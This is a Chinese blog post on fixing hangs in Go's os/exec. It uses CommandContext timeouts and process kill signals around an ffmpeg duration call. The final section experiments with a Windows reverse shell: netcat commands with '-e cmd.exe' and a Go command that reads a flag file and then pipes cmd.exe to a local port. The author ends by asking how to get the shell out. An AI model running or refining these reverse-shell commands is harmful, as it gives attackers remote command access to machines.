Go的os/exec执行超时导致程序死机的解决方案
1.cmd执行命令
先看一个简单的命令执行代码
import ( "fmt" "os/exec" ) func main() { cmd := exec.Command("cmd", "/c", "dir C:\\Users\\ASUS\\Desktop\\新建文件夹") output, err := cmd.Output() if err != nil { fmt.Println(err) fmt.Println(" command failed:", string(output)) } fmt.Println(" command success:", string(output)) }
执行输出结果,代码没问题,但出现命令执行超时,提前返回的结果,有时会卡住程序,这是我们可以用exec.CommandContext函数来设置一个超时时间
2.CommandContext设置超时
下面代码时用ffmpeg获取视频时间的操作,这是一个很需要时间的命令
func GetMP4Duration(filePath string) (int, error) { // 构建 FFmpeg 命令 ctx, cancel := context.WithTimeout(context.Background(), 70*time.Second) defer cancel() cmd := exec.CommandContext(ctx, pojo.ResultDir+"\\bin\\ffmpeg.exe", "-i", filePath, "-f", "null", "NUL") // 执行命令并捕获输出 output, err := cmd.CombinedOutput() if err != nil { return 0, err } // 解析输出以获取时长 durationStr := extractDuration(string(output)) if durationStr == "" { return 0, fmt.Errorf("Failed to extract duration from FFmpeg output") } // 将时长字符串转换为秒数 duration, err := parseDuration(durationStr) if err != nil { return 0, err } return int(duration), nil }
这只是一个设置超时时间程序
3.程序继续死机
当我以为这样就可以万事大局时,但是还是发生的死机,这时时需要调用系统命令去结束。
下面cmd.Process.Signal(syscall.SIGINT)
是windows上调用
func GetMP4Duration(filePath string) (int, error) { // 构建 FFmpeg 命令 ctx, cancel := context.WithTimeout(context.Background(), 70*time.Second) defer cancel() cmd := exec.CommandContext(ctx, pojo.ResultDir+"\\bin\\ffmpeg.exe", "-i", filePath, "-f", "null", "NUL") go func() { <-ctx.Done() if ctx.Err() == context.DeadlineExceeded { fmt.Println("Context done due to timeout. Killing process...") cmd.Process.Signal(syscall.SIGINT) //或者cmd.Process.Kill() } }() // 执行命令并捕获输出 output, err := cmd.CombinedOutput() if err != nil { return 0, err } // 解析输出以获取时长 durationStr := extractDuration(string(output)) if durationStr == "" { return 0, fmt.Errorf("Failed to extract duration from FFmpeg output") } // 将时长字符串转换为秒数 duration, err := parseDuration(durationStr) if err != nil { return 0, err } return int(duration), nil }
这样确保程序出现错误时,不会卡死。
4. 当我们给出反弹sh时,超时会不会导致sh失效
go执行多条命令的写法,当我使用上面的写法不会执行多条命令
cmd := exec.CommandContext(ctx, "cmd", "/c", "type E:\\flag.txt && echo 'hello'")
func shtest() { //nc -lvp 777 //nc 127.0.0.1 777 -e c:\windows\system32\cmd.exe //ffmpeg -i F:\测试专用\视频\065.mp4 |nc 127.0.01 -f null NUL // filePath := `F:\测试专用\视频\065.mp4` ctx, cancel := context.WithTimeout(context.Background(), 20*time.Second) defer cancel() //-threads 5 -preset veryfast //ffmpeg -i "1.成都“不用咬全靠吸”的蹄花,裹满辣椒水太满足了(Av1052272125,P1).mp4" -threads 5 -preset veryfast -f null null //ffmpeg -i "1.成都“不用咬全靠吸”的蹄花,裹满辣椒水太满足了(Av1052272125,P1).mp4" -threads 5 -preset veryfast -f null null // "echo 'hello' && echo 'hi'" type E:\\flag.txt //cmd := exec.CommandContext(ctx, "ffmpeg", "-i", filePath, "-f", "null", "NUL & echo 'hello' && echo 'hi'") //cmd := exec.CommandContext(ctx, "cmd", "/c", "type E:\\flag.txt && echo 'hello'") cmd := exec.CommandContext(ctx, "cmd", "/c", "type E:\\flag.txt && nc 127.0.0.1 666 -e cmd.exe") sr := "" for _, v := range cmd.Args { sr += v + " " } fmt.Println(sr) go func() { <-ctx.Done() if ctx.Err() == context.DeadlineExceeded { fmt.Println("Context done due to timeout. Killing process...") cmd.Process.Signal(syscall.SIGINT) } }() // 执行命令并捕获输出 output, err := cmd.CombinedOutput() fmt.Println(string(output)) if err != nil { fmt.Println(err) } fmt.Println("5555555555") }
但是我sh没传出去,已经把出战和入站流量打开。到点还是超时,有谁知道windows的sh到底怎么还可以怎么传
以上就是Go的os/exec执行超时导致程序死机的解决方案的详细内容,更多关于Go os/exec执行超时导致死机的资料请关注脚本之家其它相关文章!
相关文章
golang struct, map, json之间的相互转换
本文用于记录我在 golang 学习阶段遇到的类型转换问题,针对的是 json 、map、struct 之间相互转换的问题,感兴趣的可以了解一下2021-06-06
最新评论